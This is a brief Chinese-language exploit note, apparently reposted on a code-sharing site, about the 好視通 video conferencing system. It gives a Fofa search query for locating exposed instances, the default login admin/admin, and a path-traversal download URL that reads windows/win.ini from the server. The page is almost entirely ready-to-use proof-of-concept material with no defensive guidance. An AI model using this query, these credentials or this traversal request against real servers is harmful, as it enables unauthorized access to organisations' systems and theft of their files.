好視通-視頻會議存在弱口令&任意文件下載漏洞


描述

系統存在弱口令和任意文件下載漏洞

Fofa

app="好視通-視頻會議"

弱口令

POC

admin/admin

登錄界面

登錄成功

任意文件下載

POC

/register/toDownload.do?fileName=敏感文件路徑
(https://xxxxxx/register/toDownload.do?fileName=../../../../../../../../../../../../../../windows/win.ini)

參考

https://www.adminxe.com/2228.html


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM